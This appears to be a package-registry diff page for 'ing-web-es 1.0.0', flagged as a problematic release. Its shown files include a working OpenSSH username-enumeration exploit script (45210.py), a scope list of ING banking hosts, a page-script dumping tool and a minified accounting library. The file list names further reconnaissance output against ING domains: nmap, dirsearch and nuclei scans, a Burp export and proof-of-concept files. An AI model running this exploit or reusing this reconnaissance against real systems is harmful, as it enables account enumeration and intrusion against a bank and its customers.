ing-web-es 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ing-web-es might be problematic. Click here for more details.

Files changed (207) hide show
  1. package/45210.py +84 -0
  2. package/EMBEDDED_IFRAME_ON_WEB_PAGE.flv +0 -0
  3. package/FinalPoc.ogx +0 -0
  4. package/SCOPE_ing +20 -0
  5. package/brandportal.ing.com/dump-scripts.py +83 -0
  6. package/brandportal.ing.com/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  7. package/brandportal.ing.com/scripts/accounting.min.js +155 -0
  8. package/brandportal.ing.com/scripts/assetWindowContainer.bundle.js +23827 -0
  9. package/brandportal.ing.com/scripts/assets.js +1223 -0
  10. package/brandportal.ing.com/scripts/bootstrap-select.min.js +1287 -0
  11. package/brandportal.ing.com/scripts/bootstrap.min.js +1530 -0
  12. package/brandportal.ing.com/scripts/chosen.jquery.min.js +1238 -0
  13. package/brandportal.ing.com/scripts/core.main.js +1059 -0
  14. package/brandportal.ing.com/scripts/en_120.js +5247 -0
  15. package/brandportal.ing.com/scripts/hoverIntent.js +139 -0
  16. package/brandportal.ing.com/scripts/jquery-3.5.1.min.js +3242 -0
  17. package/brandportal.ing.com/scripts/jquery-ui-timepicker-addon.js +1471 -0
  18. package/brandportal.ing.com/scripts/jquery-ui.min.js +6711 -0
  19. package/brandportal.ing.com/scripts/jquery.are-you-sure.js +197 -0
  20. package/brandportal.ing.com/scripts/jquery.autotabs.js +42 -0
  21. package/brandportal.ing.com/scripts/jquery.backstretch.min.js +543 -0
  22. package/brandportal.ing.com/scripts/jquery.blockUI.js +442 -0
  23. package/brandportal.ing.com/scripts/jquery.datePicker.js +1151 -0
  24. package/brandportal.ing.com/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  25. package/brandportal.ing.com/scripts/jquery.fileupload-audio.js +103 -0
  26. package/brandportal.ing.com/scripts/jquery.fileupload-image.js +313 -0
  27. package/brandportal.ing.com/scripts/jquery.fileupload-process.js +172 -0
  28. package/brandportal.ing.com/scripts/jquery.fileupload-ui.js +700 -0
  29. package/brandportal.ing.com/scripts/jquery.fileupload-validate.js +117 -0
  30. package/brandportal.ing.com/scripts/jquery.fileupload-video.js +103 -0
  31. package/brandportal.ing.com/scripts/jquery.fileupload.js +1451 -0
  32. package/brandportal.ing.com/scripts/jquery.form.js +892 -0
  33. package/brandportal.ing.com/scripts/jquery.number.min.js +150 -0
  34. package/brandportal.ing.com/scripts/jquery.ui.datepicker-en.js +26 -0
  35. package/brandportal.ing.com/scripts/jquery.ui.timepicker-en.js +6 -0
  36. package/brandportal.ing.com/scripts/jquery.validate.min.js +844 -0
  37. package/brandportal.ing.com/scripts/layout.bundle.js +673 -0
  38. package/brandportal.ing.com/scripts/load-image.all.min.js +770 -0
  39. package/brandportal.ing.com/scripts/local.bundle.js +310 -0
  40. package/brandportal.ing.com/scripts/moment.min.js +1562 -0
  41. package/brandportal.ing.com/scripts/nl.js +88 -0
  42. package/brandportal.ing.com/scripts/paginator.js +267 -0
  43. package/brandportal.ing.com/scripts/popper.min.js +844 -0
  44. package/brandportal.ing.com/scripts/selectAssetBrowser.bundle.js +47577 -0
  45. package/brandportal.ing.com/scripts/selectables.custom.js +174 -0
  46. package/brandportal.ing.com/scripts/slick.min.js +687 -0
  47. package/brandportal.ing.com/scripts/superfish.js +279 -0
  48. package/brandportal.ing.com/scripts/upload-main.js +90 -0
  49. package/brandportal.ing.com/scripts/video.min.js +12517 -0
  50. package/brandportal.ing.com/scripts/videojs.wavesurfer.min.js +495 -0
  51. package/brandportal.ing.com/scripts/wavesurfer.min.js +2775 -0
  52. package/burping.json +783 -0
  53. package/dump-scripts.py +83 -0
  54. package/ing.com.txt +365 -0
  55. package/ing.com_200List.txt +30 -0
  56. package/ing.com_DIRSEARCH.txt +8220 -0
  57. package/ing_notes +1 -0
  58. package/nmap +1224 -0
  59. package/nuclei_ing.com.txt +9 -0
  60. package/package.json +12 -0
  61. package/poc.html +116 -0
  62. package/scope.txt +141 -0
  63. package/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  64. package/scripts/AliasCtrl.js +0 -0
  65. package/scripts/ChangePasswordCtrl.js +0 -0
  66. package/scripts/CustomErrorCtrl.js +0 -0
  67. package/scripts/ErrorCtrl.js +0 -0
  68. package/scripts/HeaderCtrl.js +0 -0
  69. package/scripts/LoginValidationService.js +0 -0
  70. package/scripts/NipValidator.js +0 -0
  71. package/scripts/Psd2AliasCtrl.js +0 -0
  72. package/scripts/RegonValidator.js +0 -0
  73. package/scripts/SmsCtrl.js +0 -0
  74. package/scripts/TimeZoneInfoCollectorPanel-ver-1634885786000.js +2 -0
  75. package/scripts/accounting.min.js +155 -0
  76. package/scripts/angular-animate.min.js +0 -0
  77. package/scripts/angular-cookies.min.js +0 -0
  78. package/scripts/angular-translate.min.js +0 -0
  79. package/scripts/angular-ui-router.js +0 -0
  80. package/scripts/angular.min.js +0 -0
  81. package/scripts/assetWindowContainer.bundle.js +23827 -0
  82. package/scripts/assets.js +1223 -0
  83. package/scripts/bootstrap-select.min.js +1287 -0
  84. package/scripts/bootstrap.min.js +1530 -0
  85. package/scripts/chosen.jquery.min.js +1238 -0
  86. package/scripts/core.main.js +1059 -0
  87. package/scripts/criticalMessageService.js +0 -0
  88. package/scripts/data-dir-cookies-bar.js +0 -0
  89. package/scripts/data-dir-progress-pie.js +0 -0
  90. package/scripts/dir-critical-message.js +0 -0
  91. package/scripts/dir-login-keyboard.js +0 -0
  92. package/scripts/dir-login-validation.js +0 -0
  93. package/scripts/en_120.js +5247 -0
  94. package/scripts/environment.js +22 -0
  95. package/scripts/gemius-init.js +0 -0
  96. package/scripts/gemiusID.js +0 -0
  97. package/scripts/hoverIntent.js +139 -0
  98. package/scripts/ing-vendor.min-ver-1634885786000.js +2 -0
  99. package/scripts/ing-ver-1634885786000.js +2 -0
  100. package/scripts/jquery-3.5.1.min.js +3242 -0
  101. package/scripts/jquery-ui-timepicker-addon.js +1471 -0
  102. package/scripts/jquery-ui.min.js +6711 -0
  103. package/scripts/jquery.are-you-sure.js +197 -0
  104. package/scripts/jquery.autotabs.js +42 -0
  105. package/scripts/jquery.backstretch.min.js +543 -0
  106. package/scripts/jquery.blockUI.js +442 -0
  107. package/scripts/jquery.datePicker.js +1151 -0
  108. package/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  109. package/scripts/jquery.fileupload-audio.js +103 -0
  110. package/scripts/jquery.fileupload-image.js +313 -0
  111. package/scripts/jquery.fileupload-process.js +172 -0
  112. package/scripts/jquery.fileupload-ui.js +700 -0
  113. package/scripts/jquery.fileupload-validate.js +117 -0
  114. package/scripts/jquery.fileupload-video.js +103 -0
  115. package/scripts/jquery.fileupload.js +1451 -0
  116. package/scripts/jquery.form.js +892 -0
  117. package/scripts/jquery.number.min.js +150 -0
  118. package/scripts/jquery.ui.datepicker-en.js +26 -0
  119. package/scripts/jquery.ui.timepicker-en.js +6 -0
  120. package/scripts/jquery.validate.min.js +844 -0
  121. package/scripts/jsbn-ver-1634886518000.js +2 -0
  122. package/scripts/layout.bundle.js +673 -0
  123. package/scripts/load-image.all.min.js +770 -0
  124. package/scripts/local.bundle.js +310 -0
  125. package/scripts/login-app.js +0 -0
  126. package/scripts/login-en.js +0 -0
  127. package/scripts/login-pl.js +0 -0
  128. package/scripts/login-states.js +0 -0
  129. package/scripts/main.js +23 -0
  130. package/scripts/mobileAuthCtrl.js +0 -0
  131. package/scripts/moment.min.js +1562 -0
  132. package/scripts/mon_ing_init.js +22 -0
  133. package/scripts/nl.js +88 -0
  134. package/scripts/paginator.js +267 -0
  135. package/scripts/pinLoginDefault-ver-1634885786000.js +2 -0
  136. package/scripts/popper.min.js +844 -0
  137. package/scripts/prng4-ver-1634886518000.js +2 -0
  138. package/scripts/psd2-states.js +0 -0
  139. package/scripts/rng-ver-1634886518000.js +2 -0
  140. package/scripts/rsa_jsbn-ver-1634886518000.js +2 -0
  141. package/scripts/selectAssetBrowser.bundle.js +47577 -0
  142. package/scripts/selectables.custom.js +174 -0
  143. package/scripts/sgemius.js +0 -0
  144. package/scripts/sha1.js +0 -0
  145. package/scripts/slick.min.js +687 -0
  146. package/scripts/superfish.js +279 -0
  147. package/scripts/upload-main.js +90 -0
  148. package/scripts/video.min.js +12517 -0
  149. package/scripts/videojs.wavesurfer.min.js +495 -0
  150. package/scripts/wavesurfer.min.js +2775 -0
  151. package/scripts/webtrekk_v4-ver-1634885786000.js +2 -0
  152. package/setup-feature.js +47 -0
  153. package/start.ingbusiness.pl/dump-scripts.py +83 -0
  154. package/start.ingbusiness.pl/form.html_v=202110040949 +52 -0
  155. package/start.ingbusiness.pl/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  156. package/start.ingbusiness.pl/scripts/AliasCtrl.js +136 -0
  157. package/start.ingbusiness.pl/scripts/ChangePasswordCtrl.js +162 -0
  158. package/start.ingbusiness.pl/scripts/CustomErrorCtrl.js +9 -0
  159. package/start.ingbusiness.pl/scripts/ErrorCtrl.js +30 -0
  160. package/start.ingbusiness.pl/scripts/HeaderCtrl.js +84 -0
  161. package/start.ingbusiness.pl/scripts/LoginService.js +86 -0
  162. package/start.ingbusiness.pl/scripts/LoginValidationService.js +52 -0
  163. package/start.ingbusiness.pl/scripts/NipValidator.js +30 -0
  164. package/start.ingbusiness.pl/scripts/PasswordCtrl.js +179 -0
  165. package/start.ingbusiness.pl/scripts/Psd2AliasCtrl.js +12 -0
  166. package/start.ingbusiness.pl/scripts/RegonValidator.js +73 -0
  167. package/start.ingbusiness.pl/scripts/RequestService.js +26 -0
  168. package/start.ingbusiness.pl/scripts/SmsCtrl.js +91 -0
  169. package/start.ingbusiness.pl/scripts/UnlockUserCtrl.js +79 -0
  170. package/start.ingbusiness.pl/scripts/angular-animate.min.js +1535 -0
  171. package/start.ingbusiness.pl/scripts/angular-cookies.min.js +62 -0
  172. package/start.ingbusiness.pl/scripts/angular-translate.min.js +871 -0
  173. package/start.ingbusiness.pl/scripts/angular-ui-router.js +1561 -0
  174. package/start.ingbusiness.pl/scripts/angular.min.js +9845 -0
  175. package/start.ingbusiness.pl/scripts/criticalMessageService.js +24 -0
  176. package/start.ingbusiness.pl/scripts/data-dir-button-loader.js +30 -0
  177. package/start.ingbusiness.pl/scripts/data-dir-compile-template.js +17 -0
  178. package/start.ingbusiness.pl/scripts/data-dir-cookies-bar.js +37 -0
  179. package/start.ingbusiness.pl/scripts/data-dir-progress-pie.js +102 -0
  180. package/start.ingbusiness.pl/scripts/data-dir-svg-icon.js +633 -0
  181. package/start.ingbusiness.pl/scripts/data-gemius-event.js +119 -0
  182. package/start.ingbusiness.pl/scripts/dir-critical-message.js +9 -0
  183. package/start.ingbusiness.pl/scripts/dir-help-panel-content.js +29 -0
  184. package/start.ingbusiness.pl/scripts/dir-login-keyboard.js +346 -0
  185. package/start.ingbusiness.pl/scripts/dir-login-validation.js +20 -0
  186. package/start.ingbusiness.pl/scripts/dir-nav-links.js +26 -0
  187. package/start.ingbusiness.pl/scripts/dir-title.js +21 -0
  188. package/start.ingbusiness.pl/scripts/gemius-init.js +12 -0
  189. package/start.ingbusiness.pl/scripts/gemiusID.js +32 -0
  190. package/start.ingbusiness.pl/scripts/hashService.js +91 -0
  191. package/start.ingbusiness.pl/scripts/helpPanelPasswordService.js +26 -0
  192. package/start.ingbusiness.pl/scripts/helpPanelService.js +92 -0
  193. package/start.ingbusiness.pl/scripts/jquery-3.5.1.min.js +3242 -0
  194. package/start.ingbusiness.pl/scripts/login-app.js +107 -0
  195. package/start.ingbusiness.pl/scripts/login-en.js +73 -0
  196. package/start.ingbusiness.pl/scripts/login-pl.js +74 -0
  197. package/start.ingbusiness.pl/scripts/login-states.js +156 -0
  198. package/start.ingbusiness.pl/scripts/maskService.js +194 -0
  199. package/start.ingbusiness.pl/scripts/maskUtilService.js +302 -0
  200. package/start.ingbusiness.pl/scripts/mobileAuthCtrl.js +189 -0
  201. package/start.ingbusiness.pl/scripts/psd2-states.js +67 -0
  202. package/start.ingbusiness.pl/scripts/securityPolicyService.js +119 -0
  203. package/start.ingbusiness.pl/scripts/sgemius.js +257 -0
  204. package/start.ingbusiness.pl/scripts/sha1.js +210 -0
  205. package/start.ingbusiness.pl/scripts/sprintf.js +115 -0
  206. package/start.ingbusiness.pl/scripts/tabletScalingService.js +59 -0
  207. package/start.ingbusiness.pl/scripts/userAgentResolverService.js +12 -0
package/45210.py ADDED
@@ -0,0 +1,84 @@
1
+ #!/usr/bin/env python
2
+
3
+ # Copyright (c) 2018 Matthew Daley
4
+ #
5
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ # of this software and associated documentation files (the "Software"), to
7
+ # deal in the Software without restriction, including without limitation the
8
+ # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
9
+ # sell copies of the Software, and to permit persons to whom the Software is
10
+ # furnished to do so, subject to the following conditions:
11
+ #
12
+ # The above copyright notice and this permission notice shall be included in
13
+ # all copies or substantial portions of the Software.
14
+ #
15
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20
+ # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
21
+ # IN THE SOFTWARE.
22
+
23
+
24
+ import argparse
25
+ import logging
26
+ import paramiko
27
+ import socket
28
+ import sys
29
+
30
+
31
+ class InvalidUsername(Exception):
32
+ pass
33
+
34
+
35
+ def add_boolean(*args, **kwargs):
36
+ pass
37
+
38
+
39
+ old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
40
+ paramiko.common.MSG_SERVICE_ACCEPT]
41
+
42
+ def service_accept(*args, **kwargs):
43
+ paramiko.message.Message.add_boolean = add_boolean
44
+ return old_service_accept(*args, **kwargs)
45
+
46
+
47
+ def userauth_failure(*args, **kwargs):
48
+ raise InvalidUsername()
49
+
50
+
51
+ paramiko.auth_handler.AuthHandler._handler_table.update({
52
+ paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
53
+ paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
54
+ })
55
+
56
+ logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
57
+
58
+ arg_parser = argparse.ArgumentParser()
59
+ arg_parser.add_argument('hostname', type=str)
60
+ arg_parser.add_argument('--port', type=int, default=22)
61
+ arg_parser.add_argument('username', type=str)
62
+ args = arg_parser.parse_args()
63
+
64
+ sock = socket.socket()
65
+ try:
66
+ sock.connect((args.hostname, args.port))
67
+ except socket.error:
68
+ print('[-] Failed to connect')
69
+ sys.exit(1)
70
+
71
+ transport = paramiko.transport.Transport(sock)
72
+ try:
73
+ transport.start_client()
74
+ except paramiko.ssh_exception.SSHException:
75
+ print('[-] Failed to negotiate SSH transport')
76
+ sys.exit(2)
77
+
78
+ try:
79
+ transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
80
+ except InvalidUsername:
81
+ print('[*] Invalid username')
82
+ sys.exit(3)
83
+ except paramiko.ssh_exception.AuthenticationException:
84
+ print('[+] Valid username')
Binary file
package/FinalPoc.ogx ADDED
Binary file
package/SCOPE_ing ADDED
@@ -0,0 +1,20 @@
1
+ banking.ing.at
2
+ business.ing.ro
3
+ ebanking.ing.be
4
+ homebank.ro
5
+ ib.ing.cz
6
+ ing.ingdirect.es
7
+ ing.myleo.com
8
+ insidebusiness.ingwb.com
9
+ internetsubesi.ing.com.tr
10
+ kurumsalinternetsubesi.ing.com.tr
11
+ m.ing.fr
12
+ megabank.nl
13
+ mijn.ing.nl
14
+ mijnzakelijk.ing.nl
15
+ my.ing.lu
16
+ myaccount.ing.com
17
+ portal.inglease.pl
18
+ secure.ing.it
19
+ start.ingbusiness.pl
20
+ www.ing.com.au
@@ -0,0 +1,83 @@
1
+ #!/usr/bin/env python3
2
+ import requests
3
+ from bs4 import BeautifulSoup as bs
4
+ import os
5
+ import hashlib
6
+ import argparse
7
+
8
+
9
+ """
10
+ Simple python utility to dump all scripts from a given page.
11
+ By: @SamuelAnttila
12
+ License: MIT
13
+ """
14
+
15
+ def download_script(url,downloads_dir_path,headers={},prettify=False):
16
+ """Download script into given directory. Note: Does nothing to avoid name collisions"""
17
+
18
+ # /asdf/file.js?123=123 -> file.js
19
+ url_path = requests.compat.urlparse(url).path
20
+ local_filename = os.path.basename(url_path)
21
+
22
+ if prettify:
23
+ # we can't stream if we want to prettify since we need the full file contents
24
+ res = requests.get(url, headers=headers)
25
+ code = jsbeautifier.beautify(res.text)
26
+ with open(os.path.join(downloads_dir_path,local_filename), 'w+') as f:
27
+ f.write(code)
28
+ else:
29
+ # streaming file download because putting everything in memory at once is silly if we don't have to
30
+ with requests.get(url, stream=True, headers=headers) as r:
31
+ r.raise_for_status()
32
+ with open(os.path.join(downloads_dir_path,local_filename), 'wb+') as f:
33
+ for chunk in r.iter_content(chunk_size=8192):
34
+ # If you have chunk encoded response uncomment if
35
+ # and set chunk_size parameter to None.
36
+ #if chunk:
37
+ f.write(chunk)
38
+ return local_filename
39
+
40
+
41
+ def ensure_dir(file_path):
42
+ """Ensure directory exists by creating it if not present"""
43
+ directory = os.path.dirname(file_path)
44
+ if not os.path.exists(directory):
45
+ os.makedirs(directory)
46
+
47
+ if __name__ == "__main__":
48
+ downloads_dirname = "scripts/"
49
+ curr_path = os.path.dirname(os.path.realpath(__file__))
50
+ downloads_path = os.path.join(curr_path,downloads_dirname)
51
+ ensure_dir(downloads_path)
52
+
53
+ parser = argparse.ArgumentParser(description='Download all scripts from a website into a scripts/ folder underneath this script')
54
+ parser.add_argument('url', metavar='URL', type=str, help='The url (including schema) from which to dump scripts')
55
+ parser.add_argument('--useragent', dest='useragent', type=str, default="Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", help='User agent to use when making requests')
56
+ parser.add_argument('--prettify', dest='prettify', action="store_true", default=False, help='If enabled uses jsbeautify to prettify/deobfuscate all downloaded javascript. Will fail if "jsbeautifier" not installed with pip. Recommended if you\'re dealing with minified files.')
57
+ args = parser.parse_args()
58
+
59
+ if args.prettify:
60
+ import jsbeautifier # only necessary if we actually want to use this functionality
61
+
62
+ res = requests.get(args.url,headers={"User-Agent":args.useragent})
63
+ soup = bs(res.text,features="html.parser")
64
+ for script in soup.find_all("script"):
65
+ if "src" in script.attrs:
66
+ #externally loaded script
67
+ download_url = requests.compat.urljoin(args.url, script.attrs["src"])
68
+ print(f'Downloaded {download_script(download_url,downloads_path,headers={"User-Agent":args.useragent},prettify=args.prettify)}')
69
+ else:
70
+ #inline script
71
+ print(script.text)
72
+ m = hashlib.sha256()
73
+ m.update(script.text.encode("utf32"))
74
+ local_filename = m.hexdigest() # To give all inline scripts a unique name we take the hash of its contents. Only identical scripts should collide.
75
+ with open(os.path.join(downloads_path,local_filename)+".js", 'w+') as f:
76
+ if not args.prettify:
77
+ f.write(script.text)
78
+ else:
79
+ f.write(jsbeautifier.beautify(script.text))
80
+ print("Done downloading scripts. They should be under the 'scripts/' folder.")
81
+
82
+
83
+
@@ -0,0 +1,155 @@
1
+ /*!
2
+ * accounting.js v0.4.2, copyright 2014 Open Exchange Rates, MIT license, http://openexchangerates.github.io/accounting.js
3
+ */
4
+ (function(p, z) {
5
+ function q(a) {
6
+ return !!("" === a || a && a.charCodeAt && a.substr)
7
+ }
8
+
9
+ function m(a) {
10
+ return u ? u(a) : "[object Array]" === v.call(a)
11
+ }
12
+
13
+ function r(a) {
14
+ return "[object Object]" === v.call(a)
15
+ }
16
+
17
+ function s(a, b) {
18
+ var d, a = a || {},
19
+ b = b || {};
20
+ for (d in b) b.hasOwnProperty(d) && null == a[d] && (a[d] = b[d]);
21
+ return a
22
+ }
23
+
24
+ function j(a, b, d) {
25
+ var c = [],
26
+ e, h;
27
+ if (!a) return c;
28
+ if (w && a.map === w) return a.map(b, d);
29
+ for (e = 0, h = a.length; e < h; e++) c[e] = b.call(d, a[e], e, a);
30
+ return c
31
+ }
32
+
33
+ function n(a, b) {
34
+ a = Math.round(Math.abs(a));
35
+ return isNaN(a) ? b : a
36
+ }
37
+
38
+ function x(a) {
39
+ var b = c.settings.currency.format;
40
+ "function" === typeof a && (a = a());
41
+ return q(a) && a.match("%v") ? {
42
+ pos: a,
43
+ neg: a.replace("-", "").replace("%v", "-%v"),
44
+ zero: a
45
+ } : !a || !a.pos || !a.pos.match("%v") ? !q(b) ? b : c.settings.currency.format = {
46
+ pos: b,
47
+ neg: b.replace("%v", "-%v"),
48
+ zero: b
49
+ } : a
50
+ }
51
+ var c = {
52
+ version: "0.4.1",
53
+ settings: {
54
+ currency: {
55
+ symbol: "$",
56
+ format: "%s%v",
57
+ decimal: ".",
58
+ thousand: ",",
59
+ precision: 2,
60
+ grouping: 3
61
+ },
62
+ number: {
63
+ precision: 0,
64
+ grouping: 3,
65
+ thousand: ",",
66
+ decimal: "."
67
+ }
68
+ }
69
+ },
70
+ w = Array.prototype.map,
71
+ u = Array.isArray,
72
+ v = Object.prototype.toString,
73
+ o = c.unformat = c.parse = function(a, b) {
74
+ if (m(a)) return j(a, function(a) {
75
+ return o(a, b)
76
+ });
77
+ a = a || 0;
78
+ if ("number" === typeof a) return a;
79
+ var b = b || ".",
80
+ c = RegExp("[^0-9-" + b + "]", ["g"]),
81
+ c = parseFloat(("" + a).replace(/\((.*)\)/, "-$1").replace(c, "").replace(b, "."));
82
+ return !isNaN(c) ? c : 0
83
+ },
84
+ y = c.toFixed = function(a, b) {
85
+ var b = n(b, c.settings.number.precision),
86
+ d = Math.pow(10, b);
87
+ return (Math.round(c.unformat(a) * d) / d).toFixed(b)
88
+ },
89
+ t = c.formatNumber = c.format = function(a, b, d, i) {
90
+ if (m(a)) return j(a, function(a) {
91
+ return t(a, b, d, i)
92
+ });
93
+ var a = o(a),
94
+ e = s(r(b) ? b : {
95
+ precision: b,
96
+ thousand: d,
97
+ decimal: i
98
+ }, c.settings.number),
99
+ h = n(e.precision),
100
+ f = 0 > a ? "-" : "",
101
+ g = parseInt(y(Math.abs(a || 0), h), 10) + "",
102
+ l = 3 < g.length ? g.length % 3 : 0;
103
+ return f + (l ? g.substr(0, l) + e.thousand : "") + g.substr(l).replace(/(\d{3})(?=\d)/g, "$1" + e.thousand) + (h ? e.decimal + y(Math.abs(a), h).split(".")[1] : "")
104
+ },
105
+ A = c.formatMoney = function(a, b, d, i, e, h) {
106
+ if (m(a)) return j(a, function(a) {
107
+ return A(a, b, d, i, e, h)
108
+ });
109
+ var a = o(a),
110
+ f = s(r(b) ? b : {
111
+ symbol: b,
112
+ precision: d,
113
+ thousand: i,
114
+ decimal: e,
115
+ format: h
116
+ }, c.settings.currency),
117
+ g = x(f.format);
118
+ return (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal))
119
+ };
120
+ c.formatColumn = function(a, b, d, i, e, h) {
121
+ if (!a) return [];
122
+ var f = s(r(b) ? b : {
123
+ symbol: b,
124
+ precision: d,
125
+ thousand: i,
126
+ decimal: e,
127
+ format: h
128
+ }, c.settings.currency),
129
+ g = x(f.format),
130
+ l = g.pos.indexOf("%s") < g.pos.indexOf("%v") ? !0 : !1,
131
+ k = 0,
132
+ a = j(a, function(a) {
133
+ if (m(a)) return c.formatColumn(a, f);
134
+ a = o(a);
135
+ a = (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal));
136
+ if (a.length > k) k = a.length;
137
+ return a
138
+ });
139
+ return j(a, function(a) {
140
+ return q(a) && a.length < k ? l ? a.replace(f.symbol, f.symbol + Array(k - a.length + 1).join(" ")) : Array(k - a.length + 1).join(" ") + a : a
141
+ })
142
+ };
143
+ if ("undefined" !== typeof exports) {
144
+ if ("undefined" !== typeof module && module.exports) exports = module.exports = c;
145
+ exports.accounting = c
146
+ } else "function" === typeof define && define.amd ? define([], function() {
147
+ return c
148
+ }) : (c.noConflict = function(a) {
149
+ return function() {
150
+ p.accounting = a;
151
+ c.noConflict = z;
152
+ return c
153
+ }
154
+ }(p.accounting), p.accounting = c)
155
+ })(this);